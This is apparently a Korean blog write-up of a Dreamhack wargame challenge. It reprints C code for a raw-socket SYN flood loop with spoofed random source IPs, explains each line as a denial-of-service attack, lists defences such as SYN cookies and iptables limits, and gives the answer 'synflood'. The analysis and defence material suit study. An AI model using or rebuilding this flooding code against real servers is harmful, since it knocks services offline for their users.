addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); addr_in.sin_addr.s_addr=TargetIP;
ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;
lTimerCount=GetTickCount();
while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort);
psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);
tcpHeader.th_sport=htons((rand()%1001)+1000);
tcpHeader.th_seq=htons((rand()<<16)|rand());
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;
if((GetTickCount()-lTimerCount)/1000>len) break;
if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
Sleep(delay);
}
xClose(sock);
🔍 코드 분석 및 공격 유형
이 코드는 네트워크 패킷을 직접 생성하여 특정 대상(TargetIP, TargetPort)에 지속적으로 전송하는 공격 코드입니다. TCP/IP 패킷을 조작하는 방식이 포함되어 있으며, 이를 통해 특정 시스템을 과부하 상태로 만들거나 연결을 방해할 가능성이 높습니다.
📌 공격 방식 요약
이 코드의 주요 공격 방식은 SYN Flooding (SYN 플러딩) 공격입니다.
🔹 SYN Flooding: 공격자는 가짜 발신 IP 주소를 사용하여 다량의 TCP SYN 패킷을 타겟(TargetIP, TargetPort)에 전송하여 대상의 네트워크 및 시스템 자원을 소진시키는 DoS(서비스 거부) 공격입니다.
📌 코드 분석 (한 줄씩 살펴보기)
1️⃣ 공격 대상 설정
addr_in.sin_family = AF_INET; // IPv4 사용
addr_in.sin_port = htons(TargetPort); // 대상 포트 지정
addr_in.sin_addr.s_addr = TargetIP; // 대상 IP 설정
- 공격 대상 IP와 포트를 지정합니다.
- TargetIP와 TargetPort 값이 들어갑니다.
2️⃣ IP 헤더 설정
ipHeader.h_verlen = (4 << 4 | sizeof(ipHeader) / sizeof(unsigned long));
ipHeader.total_len = htons(sizeof(ipHeader) + sizeof(tcpHeader));
ipHeader.ident = 1;
ipHeader.frag_and_flags = 0;
ipHeader.ttl = 128;
ipHeader.proto = IPPROTO_TCP;
ipHeader.checksum = 0;
ipHeader.destIP = TargetIP;
- IP 헤더를 설정하는 부분입니다.
- proto = IPPROTO_TCP → TCP 프로토콜을 사용한다는 의미.
- ttl = 128 → 패킷의 생명주기(TTL) 설정.
- checksum = 0 → 후에 체크섬 계산 후 설정.
3️⃣ TCP 헤더 설정
tcpHeader.th_lenres = (sizeof(tcpHeader) / 4 << 4 | 0);
tcpHeader.th_flag = 2; // SYN 패킷 (SYN 플래그 활성화)
tcpHeader.th_win = htons(16384);
tcpHeader.th_urp = 0;
tcpHeader.th_ack = 0;
- TCP 헤더의 th_flag = 2 → SYN 플래그가 활성화됨 (SYN Flooding 공격을 암시).
- 일반적인 TCP 연결 과정과 비교:
- 일반적인 TCP 연결: SYN → SYN+ACK → ACK
- SYN Flooding 공격: SYN을 지속적으로 보내지만 ACK를 받지 않음 → 대상 서버의 리소스를 소진.
4️⃣ 공격 루프 실행
lTimerCount = GetTickCount();
while (g_cMainCtrl.m_cDDOS.m_bDDOSing) {
i++;
tcpHeader.th_sum = 0;
tcpHeader.th_dport = htons(TargetPort);
- while 루프를 통해 반복적으로 SYN 패킷을 생성하여 전송.
- 공격이 진행되는 동안 TargetPort를 계속 사용.
5️⃣ 가짜 IP (Spoofing) 및 TCP 시퀀스 설정
ipHeader.sourceIP = htonl(lSpoofIP);
tcpHeader.th_sport = htons((rand() % 1001) + 1000);
tcpHeader.th_seq = htons((rand() << 16) | rand());
- 가짜 IP 주소(Spoofed IP)를 사용하여 공격자가 추적되지 않도록 함.
- 랜덤 포트를 사용하여 매번 새로운 세션인 것처럼 위장.
6️⃣ TCP Checksum 계산
psdHeader.saddr = ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum = checksum((unsigned short*)szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader));
- TCP 체크섬을 계산하여 올바른 TCP 패킷으로 인식되도록 설정.
7️⃣ 패킷 전송
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4);
ipHeader.checksum = checksum((unsigned short*)szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect = sendto(sock, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect == SOCKET_ERROR) return false;
- sendto() 함수를 사용해 직접 패킷을 전송.
- SOCKET_ERROR가 반환되면 오류 발생.
8️⃣ 랜덤 포트 및 랜덤 IP 설정
if (bRandPort) { TargetPort = brandom(1000, 10000); }
szSpoofIP[0] = (char)brandom(0, 255);
szSpoofIP[1] = (char)brandom(0, 255);
szSpoofIP[2] = (char)brandom(0, 255);
szSpoofIP[3] = (char)brandom(0, 255);
- 랜덤한 IP 주소를 생성하여 추적을 어렵게 만듦.
- 특정 포트 범위(1000~10000) 내에서 랜덤한 포트로 SYN 패킷을 전송.
9️⃣ 일정 시간 대기 후 지속 공격
Sleep(delay);
- 일정 시간 (delay) 후에 다음 공격 패킷을 보냄.
🔴 최종 공격 방식 (SYN Flooding 공격)
- 랜덤한 가짜 IP(Spoofed IP)를 사용하여 TCP SYN 패킷을 지속적으로 전송.
- ACK를 보내지 않음 → 대상 서버가 "대기 상태"가 되면서 리소스를 소진.
- 랜덤 포트 및 시퀀스 번호 사용하여 탐지를 어렵게 만듦.
- 특정 시간이 지나면 공격 종료.
💀 SYN Flooding 공격이란?
📌 정상적인 TCP 3-Way Handshake
- 클라이언트 → 서버: SYN 패킷 전송
- 서버 → 클라이언트: SYN+ACK 응답
- 클라이언트 → 서버: ACK 전송 → 연결 확립
📌 SYN Flooding 공격
- 공격자 → 서버: 가짜 IP로 SYN 패킷을 지속적으로 전송.
- 서버 → 공격자: SYN+ACK 전송 (응답).
- 공격자는 ACK를 보내지 않음 → 서버는 연결이 완료되지 않아 SYN+ACK 대기 상태 유지.
- 서버의 리소스가 계속 소모됨 → 일정 수 이상의 SYN 요청을 초과하면 정상적인 요청도 차단됨 (DoS 상태).
🔴 방어 방법
✅ 1. 방화벽에서 SYN Flood 차단
sudo iptables -A INPUT -p tcp --syn -m limit --limit 5/s --limit-burst 10 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP
- 초당 5개 이상의 SYN 패킷이 들어오면 자동 차단.
✅ 2. SYN Cookies 활성화
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
- 서버가 SYN 요청을 처리할 때 SYN Cookies 기술을 사용하여 가짜 연결을 거부.
✅ 3. Fail2Ban 사용
sudo apt install fail2ban
sudo systemctl enable fail2ban
- 특정 IP에서 일정 시간 동안 과도한 요청이 발생하면 자동으로 차단.
🔴 결론
- 이 코드는 SYN Flooding 공격을 수행하는 악성 코드입니다.
- 가짜 IP를 사용하여 탐지를 어렵게 만들고, 지속적으로 SYN 패킷을 전송하여 대상 서버의 리소스를 소진시킵니다.
- 방어하려면 방화벽 설정, SYN Cookies 활성화, DoS 방어 시스템(Fail2Ban) 적용 등이 필요합니다.
🚨 이 코드는 교육 및 보안 연구 목적으로만 사용해야 하며, 악의적인 사용은 법적 문제가 발생할 수 있습니다! 🚨
서버가 계속 syn+ack 대기 상태로 리소스 계속 낭비되는 공격..! 무섭다
synflooding 했는데 정답이 안되길래 댓글에 ing..잉..되어있길래
synflood했더니 정답..!
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[146] IT 비전공자 [dreamhack]please, please, please문제 풀기 (0) | 2025.02.03 |
---|---|
[145] IT 비전공자 [dreamhack]Corrupted Disk Image문제 풀기 (0) | 2025.02.02 |
[142] IT 비전공자 [dreamhack]VBR문제 풀기 (0) | 2025.01.30 |
[141] IT 비전공자 [dreamhack]datestring문제 풀기 (0) | 2025.01.29 |
[140] IT 비전공자 [dreamhack]Where-is-localhost문제 풀기 (0) | 2025.01.28 |